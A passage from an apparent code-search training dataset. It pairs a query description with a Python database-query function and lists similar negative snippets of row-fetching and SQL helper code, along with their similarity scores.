[hxl.model.RowQuery.parse(query) for query in queries]\\n else:\\n return []\",\n \"def parse_row(input_row, parsers):\\n\\n return [parser(value) if parser is not None else value\\n for value, parser in zip(input_row, parsers)]\",\n \"def read_entry_lists(floor_csv, par_df):\\n # print(\\\"Info : my_lib/entry_list/read_entry_lists().\\\")\\n par_id_list = par_df[\\\"ID\\\"].values.tolist()\\n genre_code_list = par_df[\\\"GENRE_CODE\\\"].values.tolist()\\n\\n \\\"\\\"\\\"\\n floor.csv\\n ---------\\n ID,X,Y,BLOCK\\n 27,0,0,C\\n 26,1,0,C\\n 25,2,0,C\\n \\\"\\\"\\\"\\n tbl_df = pd.read_csv(floor_csv,\\n sep=',', engine='python')\\n tbl_id_list = tbl_df[\\\"ID\\\"].values.tolist()\\n return tbl_id_list, par_id_list, genre_code_list\",\n \"def line_to_list(self, _line):\\n\\n\\t\\tresult = list()\\t\\t\\n\\t\\t_line_splited = _line.split('\\\\t')\\n\\t\\t\\n\\t\\tfor value in _line_splited:\\n\\t\\t\\tvalue_stripped = value.strip().rstrip()\\t\\t\\t\\n\\t\\t\\tresult.append(value_stripped)\\t\\t\\t\\t\\n\\t\\t\\n\\t\\treturn result\",\n \"def get_results(self) -> List[str]:\\n output = []\\n for row in self.row_layout.children():\\n if self.possible_values is None:\\n text = row.itemAt(0).widget().text()\\n else:\\n text = row.itemAt(0).widget().currentText()\\n\\n if text != \\\"\\\":\\n output.append(text)\\n return output\",\n \"def get_rows(self, tbl):\\n statmt = \\\"select * from %s\\\" % tbl\\n self.cur.execute(statmt)\\n rows = list(self.cur.fetchall())\\n return rows\",\n \"def getIntRow(self, int: int) -> typing.List[int]:\\n ...\",\n \"def row(self, row: int) -> list:\\n index_start = row * 9\\n return self.grid[index_start:index_start+9]\",\n \"def sql_query_fetch_list(self,sql):\\n\\t\\tif self.connected:\\n#\\t\\t\\t self.__cursor.execute(sql)\\n#\\t\\t\\t results = np.asarray(self.__cursor.fetchall())\\n\\t\\t\\tcur = self.__engine.execute(sql)\\n\\t\\t\\tresults = np.asarray(cur.fetchall())\\n\\t\\t\\tcur.close()\\n\\t\\t\\treturn results\\n\\t\\telse:\\n\\t\\t\\tprint ('db not connected yet. Do connect first')\",\n \"def get_rows(self) -> List[List[str]]:\\n rows = []\\n max_col_len = max([len(i) for i in self.param_cols.values()])\\n for row_num in range(max_col_len):\\n row = []\\n first = True\\n for parameter in self.parameters:\\n try:\\n sub_row = self.param_cols[parameter.name][row_num]\\n except IndexError:\\n sub_row = ['' for _ in range(parameter.num_values + 1)]\\n if not first:\\n sub_row.insert(0, '')\\n row.extend(sub_row)\\n first = False\\n rows.append(row)\\n\\n return rows\",\n \"def read_items(self, query=None, val=None):\\n with self.conn:\\n with self.conn.cursor() as curr:\\n curr.execute(query, val)\\n rows = curr.fetchall()\\n self.conn.close()\\n return rows\",\n \"def values(line):\\n return [v.strip() or None for v in text(line).split(',')]\",\n \"def extractValuesColumn(self, row):\\n\\n ret = []\\n for j in range(self.shapeColumn):\\n ret.append(self.buttons[row][j].text())\\n\\n return ret\",\n \"def parse_row(input_row, parsers):\\n return [try_or_none(parser)(value) if parser is not None else value\\n for value, parser in zip(input_row, parsers)]\",\n \"def from_csv_line(line):\\r\\n return line.strip().split(',')\",\n \"def rows_body(self) -> List[List]:\\n return self.rows[1:]\",\n \"def pluck(field_name, rows):\\n return map(picker(field_name), rows)\",\n \"def pluck(field_name, rows):\\n return map(picker(field_name), rows)\",\n \"def fetch_col(self, sql):\\n result = []\\n\\n curs = self.q(sql, True)\\n for row in curs:\\n result.append(row[0])\\n\\n curs.close()\\n return result\",\n \"def fetch_tuples(jwt_payload: dict, schema_name: str, table_name: str):\\n DJConnector.set_datajoint_config(jwt_payload)\\n\\n schema_virtual_module = dj.create_virtual_module(schema_name, schema_name)\\n\\n # Get the table object refernece\\n table = getattr(schema_virtual_module, table_name)\\n\\n # Fetch tuples without blobs as dict to be used to create a\\n # list of tuples for returning\\n non_blobs_rows = table.fetch(*table.heading.non_blobs, as_dict=True,\\n limit=DEFAULT_FETCH_LIMIT)\\n\\n # Buffer list to be return\\n rows = []\\n\\n # Looped through each tuple and deal with TEMPORAL types and replacing\\n # blobs with ==BLOB== for json encoding\\n for non_blobs_row in non_blobs_rows:\\n # Buffer object to store the attributes\\n row = []\\n # Loop through each attributes, append to the tuple_to_return with specific\\n # modification based on data type\\n for attribute_name, attribute_info in table.heading.attributes.items():\\n if not attribute_info.is_blob:\\n if non_blobs_row[attribute_name] is None:\\n # If it is none then just append None\\n row.append(None)\\n elif attribute_info.type == 'date':\\n # Date attribute type covert to epoch time\\n row.append((non_blobs_row[attribute_name] -\\n datetime.date(1970, 1, 1)).days * DAY)\\n elif attribute_info.type == 'time':\\n # Time attirbute, return total seconds\\n row.append(non_blobs_row[attribute_name].total_seconds())\\n elif attribute_info.type in ('datetime', 'timestamp'):\\n # Datetime or timestamp, use timestamp to covert to epoch time\\n row.append(non_blobs_row[attribute_name].timestamp())\\n elif attribute_info.type[0:7] == 'decimal':\\n # Covert decimal to string\\n row.append(str(non_blobs_row[attribute_name]))\\n else:\\n # Normal attribute, just return value with .item to deal with numpy\\n # types\\n if isinstance(non_blobs_row[attribute_name], np.generic):\\n row.append(np.asscalar(non_blobs_row[attribute_name]))\\n else:\\n row.append(non_blobs_row[attribute_name])\\n else:\\n # Attribute is blob type thus fill it in string instead\\n row.append('=BLOB=')\\n\\n # Add the row list to tuples\\n rows.append(row)\\n return rows\",\n \"def _sqllist(values):\\n items = []\\n items.append('(')\\n for i, v in enumerate(values):\\n if i != 0:\\n items.append(', ')\\n items.append(sqlparam(v))\\n items.append(')')\\n return SQLQuery(items)\",\n \"def sqllist(lst):\\n if isinstance(lst, basestring): \\n return lst\\n else:\\n return ', '.join(lst)\",\n \"def selectData(self, sql: str) -> List:\\n try:\\n connection = self.connect()\\n cursor = connection.cursor() \\n data = cursor.execute(sql)\\n result = data.fetchall() \\n return result\\n except Exception as e:\\n logging.error(f'{self.cn} Exception: {e}', exc_info=1)\\n logging.error(f'{self.cn} SQL: {sql}')\",\n \"def _get_row(self, topology_list):\\n new_row = []\\n if len(topology_list) == 1:\\n topology_list = topology_list[0]\\n master = topology_list[0]\\n slaves = topology_list[1]\\n for slave in slaves:\\n if len(slave) == 1:\\n new_slave = slave[0]\\n else:\\n new_slave = slave\\n new_row.append((master, new_slave[0]))\\n new_row.extend(self._get_row(new_slave))\\n return new_row\",\n \"def selectAll(conn, params):\\n cur = conn.cursor()\\n cur.execute(f\\\"SELECT {params} FROM criptomonedas\\\")\\n\\n # rows = cur.fetchall()\\n rows = [r[0] for r in cur]\\n # for row in rows:\\n # print(row[0])\\n return rows\",\n \"def get_rows(csv):\\n\\n labels = csv[0][2:].split(',')\\n\\n # Convert each row into a hash of label: value\\n return [dict(zip(labels, row.split(','))) for row in csv[1:]]\",\n \"def pop_table_row(\\n self, table: Table, row: Optional[Index] = None, as_list: bool = False\\n ) -> Union[Dict, List]:\\n self._requires_table(table)\\n row = if_none(row, table.index[0])\\n\\n values = table.get_row(row, as_list=as_list)\\n table.delete_rows(row)\\n return values\",\n \"def toListOfTuple(self, df:pd.core.frame.DataFrame) -> List[Tuple]: \\n df['TIME_STAMP'] = df['TIME_STAMP'].astype('str')\\n records = df.to_records(index=False)\\n listOfTuple = list(records)\\n return listOfTuple\",\n \"def print_row(l):\\n if type(l) is list:\\n return \\\" \\\".join(l)\\n else:\\n return l\",\n \"def execute_and_fetch(db, query):\\n rows = []\\n\\n db.query(query)\\n res = db.use_result()\\n row = res.fetch_row()\\n while row != ():\\n rows.append(row[0])\\n row = res.fetch_row()\\n return rows\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.69217086","0.67158365","0.65856916","0.6451743","0.6403767","0.6316137","0.6300533","0.6300533","0.62184757","0.6168762","0.6135526","0.6112956","0.6109464","0.60993624","0.6089436","0.60525525","0.5972258","0.5962208","0.59575963","0.5947596","0.5926766","0.59055436","0.5899359","0.5899108","0.58898944","0.5881512","0.58787197","0.5849755","0.5838546","0.5822163","0.5800634","0.5793095","0.5779408","0.57668364","0.57496274","0.57426155","0.5736725","0.5728575","0.57262784","0.56806433","0.5678146","0.5672826","0.5661706","0.56356514","0.56329536","0.56176794","0.5604697","0.5596444","0.55817753","0.55809766","0.5579977","0.556133","0.5542273","0.5536838","0.5534079","0.552953","0.55261946","0.55229014","0.55143875","0.55113775","0.5501028","0.5492009","0.54915345","0.5490728","0.5490635","0.5482775","0.547127","0.5468648","0.546592","0.54636294","0.5462953","0.5458672","0.54577434","0.54567516","0.5453271","0.5451228","0.54436636","0.5434393","0.5423236","0.54202443","0.5415464","0.5408232","0.5400054","0.5395143","0.5392824","0.53834563","0.53724134","0.53724134","0.53652275","0.5361657","0.5356511","0.53505856","0.53505313","0.53480184","0.53416103","0.53391296","0.53370917","0.5331086","0.532805","0.5326712"],"string":"[\n \"0.69217086\",\n \"0.67158365\",\n \"0.65856916\",\n \"0.6451743\",\n \"0.6403767\",\n \"0.6316137\",\n \"0.6300533\",\n \"0.6300533\",\n \"0.62184757\",\n \"0.6168762\",\n \"0.6135526\",\n \"0.6112956\",\n \"0.6109464\",\n \"0.60993624\",\n \"0.6089436\",\n \"0.60525525\",\n \"0.5972258\",\n \"0.5962208\",\n \"0.59575963\",\n \"0.5947596\",\n \"0.5926766\",\n \"0.59055436\",\n \"0.5899359\",\n \"0.5899108\",\n \"0.58898944\",\n \"0.5881512\",\n \"0.58787197\",\n \"0.5849755\",\n \"0.5838546\",\n \"0.5822163\",\n \"0.5800634\",\n \"0.5793095\",\n \"0.5779408\",\n \"0.57668364\",\n \"0.57496274\",\n \"0.57426155\",\n \"0.5736725\",\n \"0.5728575\",\n \"0.57262784\",\n \"0.56806433\",\n \"0.5678146\",\n \"0.5672826\",\n \"0.5661706\",\n \"0.56356514\",\n \"0.56329536\",\n \"0.56176794\",\n \"0.5604697\",\n \"0.5596444\",\n \"0.55817753\",\n \"0.55809766\",\n \"0.5579977\",\n \"0.556133\",\n \"0.5542273\",\n \"0.5536838\",\n \"0.5534079\",\n \"0.552953\",\n \"0.55261946\",\n \"0.55229014\",\n \"0.55143875\",\n \"0.55113775\",\n \"0.5501028\",\n \"0.5492009\",\n \"0.54915345\",\n \"0.5490728\",\n \"0.5490635\",\n \"0.5482775\",\n \"0.547127\",\n \"0.5468648\",\n \"0.546592\",\n \"0.54636294\",\n \"0.5462953\",\n \"0.5458672\",\n \"0.54577434\",\n \"0.54567516\",\n \"0.5453271\",\n \"0.5451228\",\n \"0.54436636\",\n \"0.5434393\",\n \"0.5423236\",\n \"0.54202443\",\n \"0.5415464\",\n \"0.5408232\",\n \"0.5400054\",\n \"0.5395143\",\n \"0.5392824\",\n \"0.53834563\",\n \"0.53724134\",\n \"0.53724134\",\n \"0.53652275\",\n \"0.5361657\",\n \"0.5356511\",\n \"0.53505856\",\n \"0.53505313\",\n \"0.53480184\",\n \"0.53416103\",\n \"0.53391296\",\n \"0.53370917\",\n \"0.5331086\",\n \"0.532805\",\n \"0.5326712\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.5326618"},"document_rank":{"kind":"string","value":"100"}}},{"rowIdx":82188,"cells":{"query":{"kind":"string","value":"(obj, str) > NoneType Running given query and using given connection. Fetching result rows and printing them to standard output."},"document":{"kind":"string","value":"def execute_query(self, query, fetch=False):\n\n\t\tcursor = self.connection.cursor()\n\t\texecuted_cur = cursor.execute(query)\n\n\t\tif executed_cur:\n\t\t\tif fetch:\n\t\t\t\tresult_cur = cursor.fetchall()\n\t\t\t\tfor row in result_cur:\n\t\t\t\t\tprint fetch_row_into_str(row)\n\t\telse:\n\t\t\tprint \"[e] Something wrong with execution.\""},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def run_query(cur, query, show_results=False):\n num_rows = cur.execute(query)\n print('the query returned {} rows'.format(num_rows))\n if show_results:\n for row in cur.fetchall():\n print(row)","def answer_query(query, conn, curs):\r\n results = conn.execute(query)\r\n results = results.fetchall()[0][0]\r\n print(results)","def runningwithqueries(query):\n print(\"\\nRunning Query: \" + str(query) + \"\\nResult :\\n\")\n crsr = cnxn.execute(query)\n columns = [column[0] for column in crsr.description]\n print(columns)\n for row in crsr.fetchall():\n print(row)\n crsr.close()","def run_query(cursor, connection, query):\n\n time_start = time.time()\n\n cursor.execute(query)\n\n connection.commit()\n\n print(\"Query:\", end=\" \")\n\n print(query)\n\n try:\n rows = cursor.fetchall()\n\n print(\"Result:\", end=\" \")\n\n for row in rows:\n print(row)\n\n except psycopg2.Error as _:\n print(\"Query did not return any results.\")\n\n print(\"Execution time:\", time.time() - time_start, '\\n')","def execute_query(cur, conn, query):\n try:\n cur.execute(query)\n rows = cur.fetchall()\n for row in rows:\n print(row)\n conn.commit()\n except Exception as e:\n print(e)","def run_query(conn, query):\n\tcur = conn.cursor()\n\tcur.execute(query)\n\trows = cur.fetchall()\n\treturn rows","def _runQuery(self, query, connection):\n with connection as c:\n cursor = c.cursor()\n cursor.execute(query)\n results = []\n result = cursor.fetchone()\n while result is not None:\n numCols = len(result)\n item = {}\n for col in range(0, numCols):\n key = cursor.description[col][0]\n value = result[col]\n try:\n #handle oracle clob datatypes\n value = str(result[col].read())\n except AttributeError:\n pass\n item[key] = value\n #item = {cursor.description[col][0]: result[col] for col in range(0, numCols)}\n results.append(item)\n result = cursor.fetchone()\n return results","def connect(sql, query, conn):\n cursor = conn.cursor() # Return the cursor and use it to perform queries.\n\n # Execute the query.\n if query == 'no_query': # If we're just running an SQL query without a variable, only execute the sql\n cursor.execute(sql)\n else:\n cursor.execute(sql, query) # If we have a variable (e.g. an FBgn) be sure to include it in the execute command.\n \n records = cursor.fetchall() # Grab the results.\n cursor.close() # Close the cursor.\n return records # Return a list of tuples.","def select(conn, sql):\n cur = conn.cursor()\n cur.execute(sql)\n\n rows = cur.fetchall()\n\n for row in rows:\n print(row)","def query(self, query):\n\n config = {\n 'user' : self.db_user,\n 'password' : self.db_pwd,\n 'database' : self.db_name,\n 'host' : self.db_host,\n 'unix_socket' : self.db_socket,\n 'port' : self.db_port,\n 'charset' : 'utf8'\n }\n\n try: \n cnx = mysql.connector.connect(**config)\n cursor = cnx.cursor(dictionary=True) # To return rows as dictionaries.\n\n cursor.execute(query[0], query[1])\n \n # Putting the result rows in an array.\n result = []\n for row in cursor:\n result.append(row)\n\n except mysql.connector.Error as err:\n return None\n else:\n cursor.close()\n cnx.close()\n return result","def execute(self, query):\n with self.conn.cursor() as cur:\n # Execute the query\n try:\n cur.execute(query)\n except Exception as exc:\n print(\"Unable to execute query. Error was {0}\".format(str(exc)))\n exit()\n rows = cur.fetchall()\n return rows","def get_query_results(query):\n\n db, c = connect()\n c.execute(query)\n results = c.fetchall()\n db.close()\n return results","def queryWithResult(self, query_str):\n try:\n conn = MySQLdb.connect(**self.connect)\n cursor = conn.cursor()\n cursor.execute(query_str)\n result = cursor.fetchall()\n conn.commit()\n conn.close()\n return result\n except Exception, e:\n logger.error(\"mysql util error:\" + str(e))","def get_query_results(query):\n try:\n dbconn = psycopg2.connect(database=\"news\")\n cursor = dbconn.cursor()\n cursor.execute(query)\n result = cursor.fetchall()\n dbconn.close()\n return result\n except Exception as e:\n print(e)\n exit(1)","def doQuery( connection ): # function definition\r\n cursor = connection.cursor()\r\n \r\n query = \"\"\"select Title, sum( UnitPrice ) as cost\r\n from Album natural join Track\r\n group by AlbumId\r\n order by cost desc\"\"\"\r\n \r\n cursor.execute( query )\r\n \r\n print( \"Album titles and cost of tracks\" )\r\n print( \"Title\\t\\t\\t\\tCost\" )\r\n for (Title, cost) in cursor:\r\n print( Title, \"\\t\\t\\t$\", cost )\r\n \r\n cursor.close()","def execute_read_query(connection, query):\n cursor = connection.cursor()\n result = None\n try:\n cursor.execute(query)\n result = cursor.fetchall()\n return result\n except psycopg2.OperationalError as e:\n print(f\"The error '{e}' occurred\")","def run(self):\n rows = None\n if self.sql.startswith('select'):\n conn = self.table.connect()\n with conn.cursor() as curs:\n try:\n curs.execute(self.sql)\n except conn.DatabaseError as exc:\n error, = exc.args\n logging.error(f\"\"\"error executing {self.sql}:\n {error.code}\"\"\")\n self.excep = exc\n raise exc\n else:\n rows = curs.fetchall()\n # logging.critical(f\"\"\"executed {self.sql}\"\"\")\n self.result_exec = rows","def _run_query(self, query):\n cursor = self.conn.cursor()\n cursor.execute(query)\n return cursor.fetchall()","def execute_query(query):\n c.execute(query)\n return c.fetchall()","def _execute_query(self, sql):\n url = self.db_url + \"?\" + urlencode({'action': 'doQuery', 'SQL': sql})\n install_opener(build_opener(self.auth_handler, self.cookie_handler))\n response = urlopen(url)\n cookie_jar.save(ignore_discard=True)\n\n # Check for OK response\n line = response.readline()\n if bytes(line) != b\"#OK\\n\":\n raise Exception(response.readlines())\n\n # Skip rows until we reach QUERYTIMEOUT\n while True:\n line = bytes(response.readline())\n if line == b\"\":\n raise Exception(\"Unexpected end of file while reading result\"\n \"header\")\n elif line.startswith(b\"#QUERYTIMEOUT\"):\n break\n\n # Skip QUERYTIME\n if not(bytes(response.readline()).startswith(b\"#QUERYTIME\")):\n raise Exception(\"Don't understand result header!\")\n\n # Read column info\n # (also discards line with full list of column names)\n columns = []\n while True:\n line = bytes(response.readline())\n if not line.startswith(b\"#\"):\n break\n else:\n m = re.match(b\"^#COLUMN ([0-9]+) name=([\\w]+) \"\n b\"JDBC_TYPE=(-?[0-9]+) JDBC_TYPENAME=([\\w]+)\\n$\",\n line)\n if m is not None:\n columns.append(m.groups())\n else:\n raise Exception(\"Don't understand column info: \"+line)\n\n # Construct record type for the output\n types = [numpy_dtype[col[3]] for col in columns]\n try:\n # Python 2 compatible\n names = [col[1] for col in columns]\n dtype = np.dtype([(n, t) for n, t in zip(names, types)])\n except TypeError:\n # Python 3 compatible\n names = [col[1].decode() for col in columns]\n dtype = np.dtype([(n, t) for n, t in zip(names, types)])\n\n # Return the data as a record array\n return np.genfromtxt(response, dtype=dtype, delimiter=\",\")","def execute_query(conn, query):\r\n cur = conn.cursor()\r\n cur.execute(query)\r\n conn.commit()\r\n return cur.fetchall()","def query(self, query, dict_cursor=False):\n try:\n if dict_cursor:\n self.dict_cursor.execute(query)\n results = self.dict_cursor.fetchall()\n else:\n self.cursor.execute(query)\n results = self.cursor.fetchall()\n return results\n except MySQLdb.Error as e:\n self.connection.rollback()\n try:\n print(\"MySQL Error {}: {}\".format(e.args[0], e.args[1]))\n except IndexError:\n print(\"MySQL Error: {}\".format(str(e)))","async def query(self, stmt, *args):\n\n with (await self.application.db.cursor()) as cur:\n await cur.execute(stmt, args)\n return [self.row_to_obj(row, cur)\n for row in await cur.fetchall()]","def query_mysql(cnx, query, args=None, dict_=False):\n\tcursor = cnx.cursor(dictionary=dict_)\n\tcursor.execute(query, args)\n\tresults = cursor.fetchall()\n\tcursor.close()\n\treturn results","def execute(con, query):\n\tc = con.cursor()\n\tdata = {}\n\tdata['query'] = query\n\tdata['rows'] = None\n\tdata[\"description\"] = None\n\tdata['error'] = None\n\ttry:\n\t\tdata['rows'] = c.execute(query).fetchall() or None\n\t\tdata[\"description\"] = c.description or None\n\texcept Exception as e:\n\t\tdata['error'] = str(e)\n\treturn json.dumps(data)","def query(self, sql):\n self.cursor.execute(sql)\n result = self.cursor.fetchall()\n return result","def executeQuery(connection,cursor,query,query_type):\n\tif query_type =='select':\n\t\tcursor.execute(query)\n\t\tresult = cursor.fetchall()\n\t\treturn result\n\t\t\n\telif query_type in ['insert','update','delete']:\n\t\tcursor.execute(query)\n\t\tconnection.commit()\n\t\t#generate a log msg in the future","def execute_and_fetch(db, query):\n rows = []\n\n db.query(query)\n res = db.use_result()\n row = res.fetch_row()\n while row != ():\n rows.append(row[0])\n row = res.fetch_row()\n return rows","def test_connection(self):\n with vertica_python.connect(**conn_info) as connection:\n print(\"Connected to {} on host{} \".format(conn_info['database'],conn_info['host']))\n cur = connection.cursor()\n cur.execute(self.TEST_QUERY)\n for row in cur.iterate():\n print(\"The row is {}\".format(row))","def exec_results(query):\n db = psycopg2.connect(database=DBNAME)\n c = db.cursor()\n c.execute(query)\n result = c.fetchall()\n db.close()\n return result","def _query_and_fetchall(self, query):\n with self._connect() as conn:\n cur = conn.cursor()\n cur.execute(query)\n results = cur.fetchall()\n\n return results","def psql_connection(query):\n try:\n conn = psycopg2.connect(database=DB)\n cur = conn.cursor()\n cur.execute(query)\n except Exception:\n (\"Error connecting to database\")\n else:\n print(\"Calling database...\")\n print(\"\")\n results = cur.fetchall()\n conn.close()\n return results","def query(cursor, query):\n out = []\n c = cursor.execute(query)\n out.append(c.fetchall())\n # will return list of tuples for each query\n return out","def pgquery( conn, sqlcmd, args ):\n retval = False\n query_result = []\n with conn:\n with conn.cursor() as cur:\n try:\n if args is None:\n cur.execute(sqlcmd)\n else:\n cur.execute(sqlcmd, args)\n for record in cur:\n query_result.append(record)\n retval = True\n except Exception as e:\n print(\"DB Read Error: \")\n print(e)\n return query_result","def run_query(query):\r\n db = psycopg2.connect('dbname=' + database)\r\n connect = db.cursor()\r\n connect.execute(query)\r\n rows = connect.fetchall()\r\n db.close()\r\n return rows","def execute(query: str):\r\n try:\r\n global connection\r\n global cursor\r\n\r\n cursor.execute(query)\r\n records = cursor.fetchall()\r\n connection.commit()\r\n return records\r\n\r\n except sqlite3.Error as error:\r\n logger.error(f\"Error while connecting to sqlite: {error}\")","def execute_query(query):\n try:\n # enter your code here to get a database connection and cursor,\n db = psycopg2.connect(database=DBNAME)\n c = db.cursor()\n # execute the query\n c.execute(query)\n # store the results\n results = c.fetchall()\n # close the database connection\n db.close()\n # return the results\n return results\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)","def read(self, query):\r\n t1 = time.time()\r\n if self.database in ['redshift', 'postgres']:\r\n ret = postgres_helper.fetchall(config=self.conf, sql=query)\r\n else:\r\n raise Exception(\"database not supported yet: '{}'\"\r\n .format(self.database))\r\n t2 = time.time()\r\n t = t2 - t1\r\n print('Finished in {:.2f} seconds.'.format(t))\r\n return ret","def db_results(self, query):\n try:\n # Connect to database\n db = psycopg2.connect(\"dbname=news\")\n c = db.cursor()\n # executing query and getting all results\n c.execute(query)\n db_res = c.fetchall()\n # closing connection\n db.close()\n return db_res\n except Error:\n print (\"Error when attempting to connect to db\")","def db_execute_query(db_connection, query, query_args):\n cursor = db_connection.cursor()\n #datalab_logger_connections.info(\"reading database[Query. May Take Time]...\")\n cursor.execute(query, query_args)\n #datalab_logger_connections.info(\"finish to query database\")\n return cursor","def executeQuery(query):\n c = db.cursor()\n c.execute(query)\n rows = c.fetchall()\n db.close()\n return rows","def get_query_results(self, conn, sql):\n\n cur = conn.cursor()\n cur.execute(sql)\n yield from cur.fetchall()","def execute(query):\n print query\n cursor.execute(query)","def query(self, sql):\n try:\n res_cursor = self.connection.execute(text(sql))\n except Exception as e: \n raise e(\"SQL execution error!\")\n \n rows = (Row(res_cursor.keys(), record) for record in res_cursor)\n results = RowsCollection(rows)\n return results","def query_with_results(string, args):\n con = connect()\n cursor = con.cursor()\n results = cursor.execute(string, args).fetchall()\n con.close()\n return results","def query(self, sql):\r\n\r\n result_sets = []\r\n self.messages = \"\"\r\n messages = \"\"\r\n\r\n # self.batched_query(sql)\r\n\r\n with self.conn.cursor() as cur:\r\n self.cur = cur\r\n\r\n self.request_cancel = False\r\n try:\r\n cur.execute(sql)\r\n except Exception as ex:\r\n self.cur = None\r\n self.messages = str(ex)\r\n return None\r\n while True:\r\n try:\r\n description = cur.description\r\n except:\r\n self.messages = \"Error reading description\"\r\n if self.metadata() is not None and description is not None:\r\n description = list(map(lambda c: c+(self._better_description(c),),description))\r\n # print(description)\r\n try:\r\n # data = cur.fetchmany(10000)\r\n # while True:\r\n # d = cur.fetchmany(10000)\r\n # if d is None or len(d) == 0:\r\n # break\r\n # if self.request_cancel:\r\n # cur.cancel()\r\n # self.request_cancel = False\r\n # data = data + d\r\n data = cur.fetchall()\r\n\r\n # select @var = 'tto' does not produce any resultset and raised an exception\r\n # we catch it and ignore it.\r\n # TODO: is there a better way to handle that?\r\n except pytds.ProgrammingError as ex:\r\n data = None\r\n if str(ex) == \"Previous statement didn't produce any results\":\r\n pass\r\n else:\r\n break\r\n \r\n except Exception as ex:\r\n data = None\r\n self.messages = str(ex) + \" Error while fetching data\"\r\n break\r\n\r\n\r\n\r\n if data is not None:\r\n result_sets.append(ResultSet(description, data))\r\n\r\n try:\r\n have_more_set = cur.nextset()\r\n except:\r\n self.messages = \"Error reading next set\"\r\n break\r\n if have_more_set is None or have_more_set is False:\r\n break\r\n\r\n try:\r\n for msg in cur.messages:\r\n messages = messages + str(msg[1]) + \"\\n\"\r\n except:\r\n self.messages = \"Error reading messages\"\r\n self.messages = messages + self.messages\r\n\r\n # print(\"End \",str(len(result_sets)))\r\n\r\n self.cur = None\r\n\r\n # if not result_sets:\r\n # return None\r\n return result_sets","def quarry(conn, query, params=None, returns=True):\n # Create cursor object\n cur = conn.cursor()\n\n # Execute the query\n if params is not None:\n cur.execute(query, params)\n else:\n cur.execute(query)\n\n # If returns is True, assign the query to variable\n if returns:\n results = cur.fetchall()\n pprint(results)\n\n # If not, do not create variable to return\n # Close the cursor and the connection\n cur.close()\n conn.commit()\n\n # If returns is True, return the return value\n if returns:\n return results","def __call__(self, dbio, *args, **kwargs):\n sql = self.decorated(dbio, *args, **kwargs)\n if not dbio.testing:\n logger.debug(f\"running select:{sql}\")\n cur = dbio.conn.cursor()\n cur.execute(sql)\n results = cur.fetchall()\n columns = [desc[0] for desc in cur.description]\n cur.close()\n dbio.conn.commit()\n return results, columns\n else:\n logger.debug(\"will run:{sql}\")\n return None, None","def getResults(query):\n # Tells psycopg2 which database we are talking about\n db = psycopg2.connect(database=\"news\")\n # Curser is a local variable commonly use in sql/python connections\n curser = db.cursor()\n # Please refer to https://dev.mysql.com/doc/connector-python/en/\n # for more information about how this block of code works\n curser.execute(query)\n i = curser.fetchall()\n db.close()\n return i","def query_with_results(self, query: str, **kwargs) -> Tuple[pd.DataFrame, Any]:\n # connect or switch the connection if our connection string\n # is not the current KqlMagic connection.\n if not self.connected and self.current_connection:\n self.connect(self.current_connection)\n if not self.connected:\n raise MsticpyNotConnectedError(\n \"Please run the connect() method before running a query.\",\n title=\"not connected to a workspace.\",\n help_uri=MsticpyKqlConnectionError.DEF_HELP_URI,\n )\n\n if self._debug:\n print(query)\n\n # save current auto_dataframe setting so that we can set to false\n # and restore current setting\n auto_dataframe = self._get_kql_option(option=\"Kqlmagic.auto_dataframe\")\n self._set_kql_option(option=\"Kqlmagic.auto_dataframe\", value=False)\n # run the query (append semicolon to prevent default output)\n if not query.strip().endswith(\";\"):\n query = f\"{query}\\n;\"\n\n result = self._ip.run_cell_magic(\"kql\", line=\"\", cell=query)\n self._set_kql_option(option=\"Kqlmagic.auto_dataframe\", value=auto_dataframe)\n if result is not None:\n if isinstance(result, pd.DataFrame):\n return result, None\n if (\n hasattr(result, \"completion_query_info\")\n and result.completion_query_info[\"StatusCode\"] == 0\n ):\n data_frame = result.to_dataframe()\n if result.is_partial_table:\n print(\"Warning - query returned partial results.\")\n return data_frame, result\n\n # Query failed\n err_args = []\n if hasattr(result, \"completion_query_info\"):\n err_desc = result.completion_query_info.get(\"StatusDescription\")\n err_desc = f\"StatusDescription {err_desc}\"\n err_code = f\"(err_code: {result.completion_query_info.get('StatusCode')})\"\n err_args = [err_desc, err_code]\n err_args.append(f\"Query:\\n{query}\")\n raise MsticpyDataQueryError(*err_args)","def execute_query(self, query, type_of_query, table):\n try:\n self.db_connection()\n if self.connection is not None:\n with self.connection.cursor() as cursor:\n cursor.execute(query)\n if type_of_query == \"SELECT\":\n res = cursor.fetchall() # Saving a list of dictionaries where each dictionary is a record\n headers = {element: element for element in {field[0] for field in cursor.description}} # tabulate requires a dict (each header has key and value)\n print(tabulate(res, headers=headers, tablefmt='grid')) # print table with nice style\n elif type_of_query == \"INSERT\": # INSERT query, commit is required\n self.connection.commit()\n except IntegrityError:\n print(\"A new record couldn't be added\")\n return False\n finally:\n self.close_connection() # Closing the opened connection\n return True","def query(self, q, *args):\n\n if self.dbtype == 'pg':\n print q\n return self.db.execute(q, *args).fetchall()\n else:\n cur = self.db.cursor()\n try:\n print q\n print args\n if args:\n cur.execute(q, args)\n else:\n cur.execute(q)\n ret = cur.fetchall()\n return ret\n except:\n self.db.rollback()\n raise\n finally:\n cur.close()","def run_query(db, query):\n log.debug(\"run query on %s: %s\", db, query)\n conn = _connect(show_dbs(db)[db][\"uri\"])\n return conn.cursor().execute(query).fetchall()","def query(query, parameters=(), single=False):\n cur = get_db().execute(query, parameters)\n cur.row_factory = dict_factory\n #cur = cur.cursor()\n if single:\n result = cur.fetchone()\n else:\n result = cur.fetchall()\n cur.close()\n return result","def execute_sql(self, query, fetch_all=False):\r\n conn = self.create_connection()\r\n data = \"No data\"\r\n if conn:\r\n cursor = conn.cursor()\r\n try:\r\n if not fetch_all:\r\n data = cursor.execute(query).fetchone()\r\n else:\r\n data = cursor.execute(query).fetchall()\r\n except sqlite3.OperationalError as e:\r\n self._logger.exception(f'{e}. Query: {query}')\r\n conn.commit()\r\n conn.close()\r\n return data\r\n else:\r\n self._logger.error(f'Cannot create connection to {self._db_file_path}')","def query(sql):\n if (sql is None):\n raise Exception(\"SQL not specified\") \n try:\n database = App.instance().environment.database\n connection = psycopg2.connect(host=database.host, dbname=database.database, \n user=database.user, password=database.password)\n cursor = connection.cursor()\n cursor.execute(sql)\n fields = [ x[0] for x in 